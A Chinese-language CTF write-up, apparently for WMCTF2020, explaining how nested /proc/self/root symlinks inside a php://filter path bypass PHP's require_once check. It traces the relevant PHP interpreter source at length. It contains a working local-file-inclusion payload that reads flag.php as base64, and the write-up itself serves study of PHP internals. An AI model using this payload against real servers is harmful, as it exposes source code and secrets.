php源码分析 require_once 绕过不能重复包含文件的限制
require_once
在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,那么我们可以尝试绕过这个机制吗?不写入webshell只读文件有办法吗?
error_reporting(E_ALL);
require_once('flag.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
} //题目的代码来自WMCTF2020 make php great again 2.0 绕过require_once是预期解
require_once('flag.php')
,已经include的文件不可以再require_once。
/proc/self
指向当前进程的
/proc/pid/
,
/proc/self/root/
是指向
/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=
zend_execute.c: zend_include_or_eval()
这个函数看起,这里有一堆switch case:
case ZEND_REQUIRE_ONCE: {
zend_file_handle file_handle;
zend_string *resolved_path;
resolved_path = zend_resolve_path(Z_STRVAL_P(inc_filename), (int)Z_STRLEN_P(inc_filename));
//解析文件的真实路径,按文件的真实路径去访问文件
//如果不存在则先不动,原样复制,后面用zend_stream_open伪协议的办法访问
//若文件名给定的是scheme://开头的字符串,只有当wrapper == &php_plain_files_wrapper的时候fopen_wrappers.c: php_resolve_path()才对路径进行解析,否则返回NULL
//很明显,我们给的是个php://伪协议,所以zend_resolve_path失败,返回NULL,进入else。
if (resolved_path) {
//绕过去了
if (zend_hash_exists(&EG(included_files), resolved_path)) {
//去哈希表匹配对应的文件路径
goto already_compiled;
}
} else {
//现在直接拷贝,原来什么样现在什么样
resolved_path = zend_string_copy(Z_STR_P(inc_filename));
}
//开始用伪协议的方式进行文件包含,路径解析的结果将被写入file_handle.opened_path里
if (SUCCESS == zend_stream_open(ZSTR_VAL(resolved_path), &file_handle)) {
//解析结果:/proc/24273/root/proc/self/root/var/www/html/flag.php
if (!file_handle.opened_path) {
//不会被执行
file_handle.opened_path = zend_string_copy(resolved_path);
}
if (zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path)) {
zend_op_array *op_array = zend_compile_file(&file_handle, (type==ZEND_INCLUDE_ONCE?ZEND_INCLUDE:ZEND_REQUIRE));
zend_destroy_file_handle(&file_handle);
zend_string_release(resolved_path);
if (Z_TYPE(tmp_inc_filename) != IS_UNDEF) {
zend_string_release(Z_STR(tmp_inc_filename));
}
return op_array;
} else {
zend_file_handle_dtor(&file_handle);
already_compiled:
new_op_array = ZEND_FAKE_OP_ARRAY;
}
} else {
if (type == ZEND_INCLUDE_ONCE) {
zend_message_dispatcher(ZMSG_FAILED_INCLUDE_FOPEN, Z_STRVAL_P(inc_filename));
} else {
zend_message_dispatcher(ZMSG_FAILED_REQUIRE_FOPEN, Z_STRVAL_P(inc_filename));
}
}
zend_string_release(resolved_path);
}
break;
/flag.php/../flag.php
最后还是会回到
/flag.php
,php可不傻),然后再放进哈希表里匹配。
index.php -> flag.php -> $content
所以我们给了个伪协议,就先绕过去了,但是如果
/proc/self/root
的长度给短了,会发现解析出来的
opened_path
变成了
/var/www/html/flag.php
,为什么呢?我们可以跟踪一下代码,当进行
require_once($content)
跟进
zend_stream_open()
,找到
opened_path
被修改的地方。
0x01 步入正轨
php_stream_open_for_zend_ex
里,
&handle->opened_path
的指针被作为第三个参数传递出去了,给了
_php_stream_open_wrapper_ex()
,然后经过一番波折返回回去。
&handle->opened_path
,这里是
0x7ffd908b3580
。,我们得知道它在哪里被修改的,修改的值在哪生成的。先发现它是由
plain_wrapper.c: _php_stream_fopen()
第1026行进行写入:
/*
此时_php_stream_open_wrapper_ex执行到了这里:
if (wrapper) {
if (!wrapper->wops->stream_opener) {
php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,
"wrapper does not support stream open");
} else {
----> stream = wrapper->wops->stream_opener(wrapper,
path_to_open, mode, options ^ REPORT_ERRORS,
opened_path, context STREAMS_REL_CC);
}
*/
fd = php_win32_ioutil_open(realpath, open_flags, 0666);
fd = open(realpath, open_flags, 0666);
if (fd != -1) {
if (options & STREAM_OPEN_FOR_INCLUDE) {
ret = php_stream_fopen_from_fd_int_rel(fd, mode, persistent_id);
} else {
ret = php_stream_fopen_from_fd_rel(fd, mode, persistent_id);
}
if (ret) {
if (opened_path) {
//由realpath写入opened_path
*opened_path = zend_string_init(realpath, strlen(realpath), 0);
}
if (persistent_id) {
efree(persistent_id);
}
0x7ffebc13cd50
。
expand_filepath
它改写了
realpath
,而
realpath
就是想要的
/proc/24273/root/proc/self/root/var/www/html/flag.php
:
if (options & STREAM_ASSUME_REALPATH) {
//直接把传入的filename当成真实路径处理,然而没有执行这里
strlcpy(realpath, filename, sizeof(realpath));
} else {
if (expand_filepath(filename, realpath) == NULL) {
//对文件名进行路径扩展,找到真实的路径
return NULL;
}
}
virtual_file_ex
里,调用
tsrm_realpath_r
获取解析结果
resolved_path
,处理了一番,把结果通过
state
带回去
add_slash = (use_realpath != CWD_REALPATH) && path_length > 0 && IS_SLASH(resolved_path[path_length-1]);
t = CWDG(realpath_cache_ttl) ? 0 : -1;
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);
//路径解析结果真正是从tsrm_realpath_r来的,通过resolved_path传过来
//值就是'/proc/24273/root/proc/self/root/var/www/html/flag.php'
//然后经过下面的处理一下,实际上根本没处理什么
...
if (verify_path) {
...
} else {
state->cwd_length = path_length;
tmp = erealloc(state->cwd, state->cwd_length+1);
state->cwd = (char *) tmp;
//在这里把结果先写入了state->cwd,通过这个state把结果带回去
memcpy(state->cwd, resolved_path, state->cwd_length+1);
ret = 0;
}
/* Stacktrace
virtual_file_ex zend_virtual_cwd.c:1385
expand_filepath_with_mode fopen_wrappers.c:816
expand_filepath_ex fopen_wrappers.c:754
expand_filepath fopen_wrappers.c:746
_php_stream_fopen plain_wrapper.c:991
*/
expand_filepath_with_mode
这里写入:
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
//刚才的virtual_file_ex没忘吧,结果在new_state->cwd里面
efree(new_state.cwd);
return NULL;
}
if (real_path) {
copy_len = new_state.cwd_length > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : new_state.cwd_length;
memcpy(real_path, new_state.cwd, copy_len);
//在这在这,这里写进去了,不信看看real_path的地址是不是0x7ffebc13cd50
real_path[copy_len] = '\0';
} else {
real_path = estrndup(new_state.cwd, new_state.cwd_length);
}
0x02 路径的解析
tsrm_realpath_r
是用来解析真实路径的,这一堆解析字符串的代码看着就让人头大,而且还递归调用。
. .. //
等进行特殊处理,特殊处理后重新调整路径的总长度,比如遇到
/var/www/..
的时候就移除掉
www/..
,剩下
/var
,再进行下面的操作。最后把路径传入
tsrm_realpath_r
继续递归调用。
/var/www/html/1.php -> /var/www/html -> /var/www
。
tsrm_realpath_r
的首行,重新跟的时候数下递归了几次,找到这次调用有啥不同,最简单的办法就是递归几次就按几次F9(继续执行程序),为了方便起见,我们把来自1137行的调用记为第
n
次递归,简称
(n)
:
tsrm_realpath_r zend_virtual_cwd.c:756 (n+4) return 1
tsrm_realpath_r zend_virtual_cwd.c:1124 (n+3) return 1
tsrm_realpath_r zend_virtual_cwd.c:1164 (n+2) return 5
tsrm_realpath_r zend_virtual_cwd.c:1164 (n+1)
tsrm_realpath_r zend_virtual_cwd.c:1137 (n)
tsrm_realpath_r zend_virtual_cwd.c:1164 (n-1)
tsrm_realpath_r zend_virtual_cwd.c:1164
...
tsrm_realpath_r zend_virtual_cwd.c:1164 (1)
tsrm_realpath_r zend_virtual_cwd.c:1164
ZEND_WIN32
的无关部分,实际上我们可以发现,每次递归都会对
. .. //
特殊情况进行处理,然后之前的一大堆
(0)...(n-1)
,
php_sys_lstat(path, &st)
的返回值都是
-1
,而到了
(n)
,可以发现
php_sys_lstat(path, &st)
为
0
static int tsrm_realpath_r(char *path, int start, int len, int *ll, time_t *t, int use_realpath, int is_dir, int *link_is_dir) /* {{{ */
{
int i, j, save;
int directory = 0;
...
zend_stat_t st;
realpath_cache_bucket *bucket;
char *tmp;
ALLOCA_FLAG(use_heap)
while (1) {
if (len <= start) {
if (link_is_dir) {
*link_is_dir = 1;
}
return start;
}
i = len;
while (i > start && !IS_SLASH(path[i-1])) {
i--;
}
/* 对. .. //这三种情况进行特殊处理 */
if (i == len ||
(i == len - 1 && path[i] == '.')) {
/* remove double slashes and '.' */
...
} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
/* remove '..' and previous directory */
...
}
path[len] = 0;
save = (use_realpath != CWD_EXPAND);
if (start && save && CWDG(realpath_cache_size_limit)) {
/* cache lookup for absolute path */
...
}
...
//(0)...(n-1)的save值到这都是1
if (save && php_sys_lstat(path, &st) < 0) {
//(0)..(n-1)可以进入到这里,因为php_sys_lstat(path, &st)=-1,而(n)以及之后的都不行!
if (use_realpath == CWD_REALPATH) {
/* file not found */
return -1;
}
/* continue resolution anyway but don't save result in the cache */
//(0)..(n-1)的save都是0
save = 0;
}
tmp = do_alloca(len+1, use_heap);
//把path拷贝一份给tmp
memcpy(tmp, path, len+1);
//因为(n)的save是1,所以继续判断是不是符号链接
//st.st_mode是文件的类型和权限,S_ISLNK返回是不是符号链接
if (save && S_ISLNK(st.st_mode)) {
//调用前的path为:
//php_sys_readlink就是读取符号链接所指向的真实位置,并写入到path变量,j是长度
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//末尾补上\0,完成读取,此时的path是进程的pid
if (IS_ABSOLUTE_PATH(path, j)) {
//
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
if (i + j >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1; /* buffer overflow */
}
memmove(path+i, path, j+1);
memcpy(path, tmp, i-1);
path[i-1] = DEFAULT_SLASH;
j = if
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL); //第1164行,(1)...(n)的调用来源。
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
}
if (save && start && CWDG(realpath_cache_size_limit)) {
/* save absolute path in the cache */
realpath_cache_add(tmp, len, path, j, directory, *t);
}
free_alloca(tmp, use_heap);
return j;
}
}
0x03 符号链接
php_sys_lstat()
是啥?
php_sys_lstat()
实际上就是linux的
lstat()
,这个函数是用来获取一些文件相关的信息,成功执行时,返回0。失败返回-1,并且会设置
errno
,因为之前符号链接过多,所以
errno
就都是
ELOOP
,符号链接的循环数量真正取决于
SYMLOOP_MAX
,这是个
runtime-value
,它的值不能小于
_POSIX_SYMLOOP_MAX
。
php_sys_lstat()
之后调用
perror()
验证
errno
是不是
ELOOP
。
sysconf(_SC_SYMLOOP_MAX)
和
sysconf(_POSIX_SYMLOOP_MAX)
,但是这回没有成功,
SYMLOOP_MAX
居然是
-1
,那我们用其他办法获取,最简单的办法就是手动实践,暴力获取。
import os
os.system("echo 233> l00")
for i in range(0,99):
os.system("ln -s l%02d l%02d"%(i,i+1))
l42
这个符号链接就无效了,最后一个有效的符号链接是
l41
,所以有效的应该是
41->40, 40->39 ..., 01->00
,一共41个,所以
SYMLOOP_MAX
是
40
,指向符号链接的符号链接的个数是40。
/proc/self/root
拼一起,从后往前倒,递归调用
tsrm_real_path_r
,直到
php_sys_lstat
返回
0
,即成功。
/proc/self
是个符号链接指向当前进程
pid
,
self
底下的
root
也是个符号链接,所以算下,也是41个,正正好吧?
"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self" > a =
"self")+a.count("root")) > print(a.count(
41
lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self") 返回 0
lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root") 返回 -1
0x04 递归逐层剖析
php_sys_lstat()
为1,在
(n)
它干了什么?
//刚刚调试的结果是(n)以及它之后的save都为1
//"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self"就是/proc/self,是个符号链接,为进程的pid,S_ISLNK判断是不是符号链接
if (save && S_ISLNK(st.st_mode)) {
//调用前的path为:
//php_sys_readlink就是读取符号链接所指向的真实位置,并写入到path变量,j是长度
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//末尾补上\0,完成读取,此时的path是进程的pid,path="24273"
if (IS_ABSOLUTE_PATH(path, j)) {
//很明显"24273"不是个绝对路径,去看else
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
if (i + j >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1; /* buffer overflow */
}
//开始构造路径,先把path[0...j]往后挪,放到path[i]的位置上
//j+1是个数,从下标0到下标j当然是j+1个
memmove(path+i, path, j+1);
//把tmp[0...i-1]拷贝回path[0...i-2]
//i-1是个数,下标0到下标i-2是i-1个
memcpy(path, tmp, i-1);
path[i-1] = DEFAULT_SLASH;
//加个/上去,这时候的path:
//"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/24273"
j = tsrm_realpath_r(path, start, i + j, ll, t, use_realpath, is_dir, &directory);
//进行(n+1)的递归调用
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
}
if (link_is_dir) {
*link_is_dir = directory;
}
}
} else {
if (save) {
directory = S_ISDIR(st.st_mode);
//由传入的link_is_dir变量,是的话把指针指向directory
if (link_is_dir) {
*link_is_dir = directory;
}
if (is_dir && !directory) {
/* not a directory */
free_alloca(tmp, use_heap);
return -1;
}
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
//1164行,又进到了这里,save=1,进行(n+2)递归调用,把自己的use_realpath参数也给传进去。
//path没变,和(n)一样,但是传入的link_is_dir变成了NULL
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//拿到的j=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
...
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=1,tmp[i...len-i]复制到path[1...1+len-i]
//就是把tmp的最后几个字符复制到path的前面去
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度,返回回去,新的path是"/proc",j=5。
}
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
tsrm_realpath_r
前面的处理,path的最后一个
/proc
没了,这时候剩下的
/proc/self.../root
就又是一个符号链接。
/
。
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//path = "/", j = 1
if (IS_ABSOLUTE_PATH(path, j)) {
//进到了这里 is_dir =1 ,directory=0,进行(n+4),这是最后一次
//tsrm_realpath_r("/", 1, 1, ll, t, 1, 1, &directory),返回值为j=1
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
...
}
if (link_is_dir) {
*link_is_dir = directory;
}
0x05 递归调用返回
len <= start
,所以直接提前返回,返回值为
start=1
:
while (1) {
//len=1,start=1
if (len <= start) {
if (link_is_dir) {
*link_is_dir = 1;
}
return start;
}
1
,但是(n+2)返回(n+1)的时候做了别的事情:
} else {
if (save) {
...
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//j=1, start=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=1,tmp[1...len-i]复制到path[1...1+len-i]
//len是原来传进来的字符串的总长度,i和len是tsrm_real_path_r对'.. . //'特殊处理之前决定的
//比如path是'/var/www/html/',那这里的i就在html之后的/上面
/*
761 i = len;
762 while (i > start && !IS_SLASH(path[i-1])) {
763 i--;
764 }
*/
//
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度,返回回去,新的path是"/proc/",j=5,最后返回给(n+1)。
}
} else {
if (save) {
...
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//path="/proc", j=5, start=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
//末尾加个'/', j+=1, 现在j=6
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=6,tmp[i...len-i]复制到path[6...6+len-i]
/*
tmp="/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/74079"
*/
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度,返回回去,新的path是"/proc/24273",j=11,最后返回给(n)。
}
/proc/24273/root/proc/self/root/var/www/html/flag.php
- End -
精彩推荐